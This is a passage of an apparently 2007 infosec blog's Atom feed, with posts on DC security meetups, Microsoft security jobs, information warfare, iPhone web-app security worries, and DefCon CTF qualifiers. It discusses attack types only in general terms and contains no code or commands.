Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;AkEDSHwzfyp7ImA9WB5QEEg.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-439042608796007959</id><published>2007-06-28T14:15:00.000-05:00</published><updated>2007-06-28T14:24:39.287-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-06-28T14:24:39.287-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="people" /><category scheme="http://www.blogger.com/atom/ns#" term="capsec" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>CapSec Tonight!</title><content type="html">I don't know how I missed it considering my activity on &lt;a href="http://citysec.org"&gt;CitySec&lt;/a&gt;, but tonight, June 28, is the first meeting of the &lt;a href="http://citysec.org/forums/1/topics/17?page=1#posts-219"&gt;CapSec&lt;/a&gt; security meet up. The meeting will be at:&lt;br /&gt;&lt;p&gt;The Brickskeller&lt;br /&gt;Dining House and Down Home Saloon&lt;br /&gt;1523 22nd St, NW&lt;br /&gt;Washington, &lt;span class="caps"&gt;DC 20037&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;a title="Google Map to Brickskeller" href="http://maps.google.com/maps?f=q&amp;hl=en&amp;amp;q=Brickskeller&amp;sll=38.909985,-77.048782&amp;amp;sspn=0.029186,0.026093&amp;ie=UTF8&amp;amp;latlng=38909985,-77048784,16283471360474262209&amp;ei=tcV6RsvINo3crQK9rpSvBA&amp;amp;cd=1"&gt;Google Map&lt;/a&gt; &lt;/p&gt;I'm stoaked for this meeting. It should be a good time to meet up with a bunch of actual, no BS, infosec folks who care more about tech than they do about their CISSP number. So come on out and join up, it should be a great experience.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-439042608796007959?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/439042608796007959/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=439042608796007959" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/439042608796007959?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/439042608796007959?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/06/capsec-tonight.html" title="CapSec Tonight!" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;Ak8MSHY_fSp7ImA9WB5RGE8.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-7816626261897025951</id><published>2007-06-25T18:56:00.000-05:00</published><updated>2007-06-25T22:34:49.845-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-06-25T22:34:49.845-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="challenge" /><category scheme="http://www.blogger.com/atom/ns#" term="threat analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="op/ed" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="job" /><title>Bad Reputation vs Bad Assumptions</title><content type="html">&lt;div style="text-align: justify;"&gt;I was wandering through my blog list today and, by way of the ever enjoyable &lt;a href="http://techbuddha.wordpress.com/2007/06/24/the-worst-jobs-in-science-2007-6-microsoft-security-grunt/"&gt;Observations of a Digitally Enlightened Mind&lt;/a&gt;, came across an interesting but, in my opinion, totally unfounded and flawed article related to security.&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_M_lsvl0Qrg4/RoB61bXvjHI/AAAAAAAAABE/hIQ6v8wNvR0/s1600-h/Picture+1.png"&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The article in question is one where &lt;a href="http://www.popsci.com/popsci/"&gt;PopSci&lt;/a&gt; published a list of the &lt;a href="http://www.popsci.com/popsci/science/0203101256a23110vgnvcm1000004eecbccdrcrd.html"&gt;10 Worst Jobs in Science&lt;/a&gt;. Many of them are truly awful and I wouldn't wish on my worst enemy. Mind numbingly, stomach turningly bad. It was &lt;a href="http://www.popsci.com/popsci/science/0203101256a23110vgnvcm1000004eecbccdrcrd/5.html"&gt;#6&lt;/a&gt;, nearly half way down a terrifying list, that the job in question was described.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;img style="text-align: justify;float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; " src="http://bp2.blogger.com/_M_lsvl0Qrg4/RoB61bXvjHI/AAAAAAAAABE/hIQ6v8wNvR0/s320/Picture+1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5080195437972917362" /&gt;&lt;div style="text-align: justify;"&gt;Now I've been a Microsoft hater in my day, no question. As a security type person they've been quite the headache at various times, and as an Apple fan I don't really find it an enjoyable system to use. That being said if Microsoft were to track me down and ask if I was interested in a job working with their security teams I'd jump at it. &lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now the article is very correct about one aspect of it. Microsoft does wear a big "Hack Me" sign. It'd be nonstop pandemonium. Attacks at every angle, computer criminals gunning for you every day. If it's not the operating system it's the office suite, if it's not the office suite, it's the browser. There are few pieces of code attacked as aggressively as Microsoft's, it comes with the territory when you dominate the market place in so many genres the way they do. Microsoft should wear that "Hack Me" sign proudly, maybe with a big gold chain (that they can afford) and some &lt;a href="http://en.wikipedia.org/wiki/Bling-bling"&gt;bling&lt;/a&gt; letters.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;So yes, under attack constantly. While I can't speak for anyone else that's exactly why I'd want to work for them, and I think that's perfectly natural. Surgeons may not like people being sick or hurt, but they sure enjoy cutting them open, or so I'm told (by my uncle who is one). It's the same with information security. A week (like the past couple) with few large threats gets dull quickly. Now the week when the &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx"&gt;ANI attacks&lt;/a&gt; came out, that was fun. Would working for Microsoft be easy? Not in the least but rarely do people learn when they're "safe". They don't grow without challenges.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If I wanted easy I'd go be a security guy for a small mom and pop somewhere, nice and safe, with a small number of supported apps, a smaller number of machines, and five users I could personally beat for being stupid. The &lt;a href="http://www.microsoft.com/"&gt;Microsoft&lt;/a&gt;'s, &lt;a href="http://amazon.com/"&gt;Amazon&lt;/a&gt;'s, &lt;a href="http://en.www.mozilla.com/en/"&gt;Mozilla&lt;/a&gt;'s, government groups and financials are in the thick of it, defending dozens of complex pieces of software, hundreds of thousands of machines, and billions of dollars. The Internet is a very dangerous place for groups like those and I believe that's the most attractive reason to work for them.&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-7816626261897025951?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/7816626261897025951/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=7816626261897025951" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/7816626261897025951?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/7816626261897025951?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/06/bad-reputation-vs-bad-assumptions.html" title="Bad Reputation vs Bad Assumptions" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp2.blogger.com/_M_lsvl0Qrg4/RoB61bXvjHI/AAAAAAAAABE/hIQ6v8wNvR0/s72-c/Picture+1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></entry><entry gd:etag="W/&quot;CEUEQn06eCp7ImA9WB5RFkk.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-4186319330259323925</id><published>2007-06-23T11:48:00.001-05:00</published><updated>2007-06-23T18:43:23.310-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-06-23T18:43:23.310-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="comments" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="people" /><category scheme="http://www.blogger.com/atom/ns#" term="information warfare" /><category scheme="http://www.blogger.com/atom/ns#" term="rants" /><title>A different take on Information Warfare...</title><content type="html">Always understated and insightful I really recommend checking out Michael's recent &lt;a href="http://mcwresearch.com/archives/496"&gt;article on Information Warfare&lt;/a&gt; over at &lt;a href="http://mcwresearch.com"&gt;MCWResearch&lt;/a&gt;. Now I'll admit I really enjoy exploring the topic of Information Warfare, and I'm also quick to admit that I like that Michael seems to share my take that information warfare is coming for us all, government and corporation alike, and so it's time, as Michael put it, to "...start digging trenches."&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I realize my reaction to this subject is to get too fired up for most people to take seriously. It's a failing of mine, but I'm passionate about this and can't help it. I truly feel that all of us, every mom and pop company to Fortune 500's to home users are going to be combatants, either innocent, unwitting, or otherwise, in information warfare, and we need to prepare accordingly. Packets don't often kill people directly and kill -9 rarely has a physical effect on structures, and thus it's easy to dismiss what nation states do in the farthest reaches of the Internet as hardly being "warfare" but it's ludicrous to think that it can't have real world ramifications.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'm already getting too far up on my soapbox, so again, I really recommend checking out the post at MWCResearch, it's really good stuff.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-4186319330259323925?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/4186319330259323925/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=4186319330259323925" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/4186319330259323925?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/4186319330259323925?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/06/different-take-on-information-warfare.html" title="A different take on Information Warfare..." /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total></entry><entry gd:etag="W/&quot;DUcFRH07fCp7ImA9WB5SF0o.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-3992900350821889379</id><published>2007-06-13T19:20:00.000-05:00</published><updated>2007-06-13T18:23:35.304-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-06-13T18:23:35.304-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="shmoocon" /><category scheme="http://www.blogger.com/atom/ns#" term="threat analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="op/ed" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="development" /><category scheme="http://www.blogger.com/atom/ns#" term="webapps" /><category scheme="http://www.blogger.com/atom/ns#" term="jikto" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="mobiles" /><category scheme="http://www.blogger.com/atom/ns#" term="apple" /><title>iPhone sounds alot like iPwn</title><content type="html">&lt;div style="text-align: justify;"&gt;So as a fairly enthusiastic &lt;a href="http://www.apple.com/"&gt;Apple&lt;/a&gt; fan I've been getting asked  often how excited I am for the &lt;a href="http://www.apple.com/iphone/"&gt;iPhone&lt;/a&gt; ("Very"), am I going to get one ("prolly sometime in July"), and if I think it will be that great ("I do"). With someone of a basic technology background this is usually followed by some question about applications, SDKs, and if I think Apple will open it up ("I do") to third party development.&lt;br /&gt;&lt;br /&gt;My overall take on it? I've had a number of smartphones and aside from making calls I mostly just used the browser. As for other applications after a few that I tried for experimenting I found I rarely used others, just sticking to the basic software that was included, and even that little enough.&lt;br /&gt;&lt;br /&gt;As for the iPhone I truly believe that the killer app will be &lt;a href="http://www.apple.com/safari/"&gt;Safari&lt;/a&gt; itself, if it's all that Steve has tried to demonstrate it, may or may not, be cracked up to be. I'm not really sure what applications the developers who are attacking Apple for not providing an SDK think they'll create. In the years of &lt;a href="http://www.palm.com/us/"&gt;Palm&lt;/a&gt;/&lt;a href="http://www.microsoft.com/windowsmobile/default.mspx"&gt;Windows Mobile&lt;/a&gt;/&lt;a href="http://www.symbian.com/"&gt;Symbian&lt;/a&gt;/&lt;a href="http://www.blackberry.com/"&gt;Blackberry&lt;/a&gt; smart phones I've yet to see an app that overwhelms the function of a phone to make calls, text message, and maybe, if you're lucky, get email or browse the web. All of these are functions the iPhone will do out of the box. Even on my MacBook many of the most important things I do, blogging, reading RSS feeds, getting security news, are all things done in the web browser alone. What app are Apple devs just dying for the chance to make?&lt;br /&gt;&lt;br /&gt;Now that multi paragraph rant is not to suggest I'm peachy about the whole thing. This is a security blog after all. By not creating an SDK for creating true applications or widgets, and instead relying on Javascript/Ajax (as though you can have one without the other) you lead to a new problem, web pages can have amazing integration with your personal phone. Let me rephrase that: Advanced applications, running from remote servers, with both instructions and data, that's been shown already to have concerning security issues, will be able to run on your iPhone, and have, in some way, access to your address book, iTunes, and the ability to make phone calls. How was this a good idea?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_M_lsvl0Qrg4/RnBxJrXvjFI/AAAAAAAAAA0/qurh0A7xgQk/s1600-h/stevejobsipwn.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 243px; height: 243px;" src="http://bp3.blogger.com/_M_lsvl0Qrg4/RnBxJrXvjFI/AAAAAAAAAA0/qurh0A7xgQk/s320/stevejobsipwn.jpg" alt="" id="BLOGGER_PHOTO_ID_5075681191121620050" border="0" /&gt;&lt;/a&gt;One of the few inherent security mechanisms built into web browsers is that they, to some extent, exist in a sandbox. Most of the time Javascript can't access the OS file system, it can't control applications other than the browser, it can't access system resources, and all those are only most of the time. There are plenty of side effects to current web technology that make a security researcher pull their hair out, and that's all in the sandbox. &lt;a href="http://www.memestreams.net/users/acidus/"&gt;Billy Hoffman&lt;/a&gt;'s &lt;a href="http://www.shmoocon.org/"&gt;Shmoocon&lt;/a&gt; &lt;a href="http://www.shmoocon.org/2007/videos/JavaScript%20Malware%20for%20a%20Grey%20Goo%20Tomorrow%20-%20Billy%20Hoffman.mp4"&gt;presentation&lt;/a&gt; discussed many of these, from keylogging to his own technique for web scanning using just Javascript and his particular brand of maniacal thought.&lt;br /&gt;&lt;br /&gt;It would seem, based on current information, Apple is deliberately adding such features creating a potential security nightmare, deliberately adding the ability for web applications to circumvent the sandbox. So what will happened? XSS attacks that rewrite your Addressbook? A hidden iframe that calls 911 for you? Who knows really, but when "webapps" can access system functions it's hard to imagine it staying innocent. Now it's very possible, and I'm in fact hopeful, that Apple has considered these things and put protections into place, but even so it is easy to suppose that this would be a thin veil of separation, and the possibility for misuse could easily be close to the surface.&lt;br /&gt;&lt;br /&gt;For a company like Apple, who so often touts their &lt;a href="http://movies.apple.com/movies/us/apple/getamac/apple-getamac-security_480x376.mov"&gt;security&lt;/a&gt; &lt;a href="http://movies.apple.com/movies/us/apple/getamac_ads1/viruses_480x376.mov"&gt;record&lt;/a&gt; (no I will not digress into a discussion of Safari now (but yeah, wow, 2 code execution vulnerabilities in a day?)), to not aggressively market that aspect makes me wonder how much consideration that aspect of design received.  All of this is obviously speculating the worst, but as Apple has messaged little to nothing about the security features of the iPhone, leaving everyone to evaluate what they see. And based on what we see of the iPhone's design what else are security researchers to assume?&lt;br /&gt;&lt;br /&gt;Or maybe I'm the only one who is worried about all this.... well, there's also &lt;a href="http://www.memestreams.net/users/acidus/blogid1358547/"&gt;Billy&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-3992900350821889379?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/3992900350821889379/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=3992900350821889379" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/3992900350821889379?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/3992900350821889379?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/06/iphone-sounds-alot-like-ipwn.html" title="iPhone sounds alot like iPwn" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp3.blogger.com/_M_lsvl0Qrg4/RnBxJrXvjFI/AAAAAAAAAA0/qurh0A7xgQk/s72-c/stevejobsipwn.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total></entry><entry gd:etag="W/&quot;CUQFSX8-eCp7ImA9WB5SFU0.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-3928560282071402336</id><published>2007-06-10T14:01:00.000-05:00</published><updated>2007-06-10T14:21:58.150-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-06-10T14:21:58.150-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="challenge" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="people" /><category scheme="http://www.blogger.com/atom/ns#" term="movies" /><category scheme="http://www.blogger.com/atom/ns#" term="reverse engineering" /><category scheme="http://www.blogger.com/atom/ns#" term="webapps" /><category scheme="http://www.blogger.com/atom/ns#" term="international" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="cons" /><title>And the answers please...</title><content type="html">&lt;div  style="text-align: justify;font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;Over at &lt;a href="http://nopsr.us/"&gt;Nopsr.us&lt;/a&gt; the Underminers (aka 1@stPlace, winners of last years &lt;a href="http://www.defcon.org/"&gt;Defcon&lt;/a&gt; CTF) have put up a follow up to last years CTF quals writeup, which you can find &lt;a href="http://nopsr.us/ctf2007prequal/"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;@tlas and his gang do a fantastic job walking through each of the challenges, and a lot can be learned from just taking a look. Even better, they managed to pry the challenge source code out of &lt;a href="http://kenshoto.com/"&gt;Kenshoto&lt;/a&gt;'s hands (a feat they managed to pull off before I did) and have it posted, so that nearly the entire scenario can be recreated for ownage pleasure in your very own home. So go give it a look, you'll learn a bunch.&lt;br /&gt;&lt;br /&gt;For those who are curious, Vulnerable Minds did play this year and were quite pleased with our 30 out of 160 finish. In what is the largest Defcon qualification year ever we were stoaked to come the top fifth and had an awesome time. ev3, Narc, LogicX, Bacon, Gpmidi, Bacchus, and myself spent most of the weekend at Akolyte and Saijak's apt, chugging Red Bull, watching Jurassic Park on repeat (seriously Pwnage100 was crap), and hacking to our hearts content. It was a great weekend, the challenges were excellent, tough but enjoyable, and it was one of the most fun and interesting events I've been a part of.&lt;br /&gt;&lt;br /&gt;So props to the Kenshoto guys for an fantastic quals round, to the NopsR.Us/Underminers/1@stplace guys for the fantastic writeups, and to the Minds who dedicated their weekend to playing a fantastic game.&lt;br /&gt;&lt;br /&gt;And watch out next year because &lt;insidejoke&gt;Vulnerable Minds is coming to break all of your plates!&lt;/insidejoke&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-3928560282071402336?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/3928560282071402336/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=3928560282071402336" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/3928560282071402336?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/3928560282071402336?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/06/and-answers-please.html" title="And the answers please..." /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;DkIBSHs4cSp7ImA9WB5TFUo.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-8372924103500377249</id><published>2007-05-26T17:08:00.000-05:00</published><updated>2007-05-30T20:22:39.539-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-05-30T20:22:39.539-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="challenge" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="cons" /><title>Love of the game.</title><content type="html">So! The qualifying round of DefCon's infamous Capture the Flag competition is this weekend. I'm excited, and not just because this would be my first CtF experience. The synergy (more or less) of people coming together with different experiences, knowledge, and ways of looking at problems could prove to be a great way to delve deeper into the field of code and code manipulation. (Let's be honest here, when it comes down to it, this is less about offense or defense and more about mental technique.)&lt;br /&gt;&lt;br /&gt;This weekend, a group of us will be sharing one apartment, eating each other's food, hacking to the point of exhaustion... I can't think of a better way to spend a random summer weekend, but that could just be me. ;)&lt;br /&gt;&lt;br /&gt;In preparation, I've been looking over &lt;a href="http://nopsr.us/ctf2006prequal/instructions.txt"&gt;last year's quals&lt;/a&gt;, helpfully posted by last year's team 1@stPlace. I think one of the things that blew me away was the wide range of topics presented, and the variety of exploitable things. XSS? Bitstream analysis? Reverse engineering protocols? Stealing entangled qbits? OK, just kidding about that last one, but it goes to show what an awesome, diverse field infosec can be. And as much as this is about hacking and having fun, I can only wonder what future DefCon CTFs may hold, especially with the dominance of mobile computing...&lt;br /&gt;&lt;br /&gt;But the future can wait. This weekend, let teh funz beg!n.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-8372924103500377249?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="related" href="http://kenshoto.com/" title="Love of the game." /><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/8372924103500377249/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=8372924103500377249" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/8372924103500377249?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/8372924103500377249?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/05/love-of-game.html" title="Love of the game." /><author><name>Alice</name><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></entry><entry gd:etag="W/&quot;DEACSHw-fyp7ImA9WB5TEk0.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-7845336797856443035</id><published>2007-05-23T08:58:00.000-05:00</published><updated>2007-05-26T14:12:49.257-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-05-26T14:12:49.257-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="education" /><category scheme="http://www.blogger.com/atom/ns#" term="people" /><category scheme="http://www.blogger.com/atom/ns#" term="international" /><category scheme="http://www.blogger.com/atom/ns#" term="cons" /><title>Getting Involved: CitySec, OWASP, and SUGs! O MY!</title><content type="html">&lt;div style="text-align: justify;"&gt;It's been an amazingly busy time for the Vulnerable Minds. Plans for &lt;a href="http://www.defcon.org/"&gt;Defcon,&lt;/a&gt; &lt;a href="http://kenshoto.com/"&gt;CTF&lt;/a&gt;, Projects, papers, all of them are sucking up time. I have had multiple blog posts in the queue waiting to be finished and posted in all their glory, but I wanted to make a quick post to highlight something that's been important to me lately.&lt;br /&gt;&lt;br /&gt;The image of the lonely hacker in a basement is quickly disproved as soon as you meet the very social characters that make up most of the hacking community. As happy as they are sitting around hacking on a neat piece of code they're just as happy going out for a beer and talking about that piece of code with others who share they're interests. Any conference is as much about the old friends you meet up with and the new friends you'll make as it is about the technical knowledge you'll gain.&lt;br /&gt;&lt;br /&gt;Cons are, depending on your travel schedule and availability, few and far between for most and as a result smaller interest groups have been forming all over the country to support the desire many hackers/infosec professionals have to mix with their peers, share ideas, network, socialize, and just generally cause trouble. Much like 2600 a few years ago these groups seek to give people those opportunities.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.matasano.com/log"&gt;Thomas Ptacek&lt;/a&gt; has been a huge proponent of these groups, and as such has organized &lt;a href="http://citysec.org/"&gt;CitySec&lt;/a&gt;, a small bulletin board meant to help form and nurture such groups, which I've been happy to be involved in, advocating a Washington DC meetup. Well before the CitySec site was even live &lt;a href="http://taosecurity.blogspot.com/"&gt;Richard Beijtlich&lt;/a&gt;, along with other security professionals, started &lt;a href="http://novasec.blogspot.com/"&gt;NoVASec&lt;/a&gt; (Northern Virginia) as a group for those interested in pure security, and less interested in discussing their CISSP number and GIAC scores and more into talking about what they're actually doing, could meet and talk about security. NoVASec has been excellent, just a bit of a stretch to get to as it's usually fairly far outside Washington DC proper.&lt;br /&gt;&lt;br /&gt;Many other groups are also meeting regularly. &lt;a href="http://www.owasp.org/"&gt;OWASP&lt;/a&gt; has regular meetings, such as those in &lt;a href="http://www.owasp.org/index.php/Washington_DC"&gt;Washington DC&lt;/a&gt;, in various cities for developers, admins, and security folks interested in webapp security. For those more of the CISSP/Security Management mindset there are groups like &lt;a href="http://www.issa-nova.org/"&gt;ISSA-NoVA&lt;/a&gt;. The black or grey hat oriented crowd still has more than a few chapters of 2600 that still seem to &lt;a href="http://www.2600.com/meetings/"&gt;meet&lt;/a&gt;, though I gather they're waning a bit. I'm also known to show up at a &lt;a href="http://snort.org/community/usergroups.html"&gt;Snort Users Group&lt;/a&gt; meeting or two, though sadly the NoVA group hasn't had a meeting in a few months. Even many colleges are getting involved, with groups like the Penn State Information Assurance Club, and a similar club at RIT who's name I completely fail to remember.&lt;br /&gt;&lt;br /&gt;I guess what I'm trying to say is that it's great the community that's coming up around various areas of the security field, and I've been happy, and encourage others in the security community, to get involved.  I speak from experience when I say many of them are just as much fun as the larger conferences, and make great places to make new friends, make contacts, have a good beer, and occasionally learn something.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-7845336797856443035?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/7845336797856443035/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=7845336797856443035" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/7845336797856443035?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/7845336797856443035?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/05/getting-involved-citysec.html" title="Getting Involved: CitySec, OWASP, and SUGs! O MY!" /><author><name>Scott J. 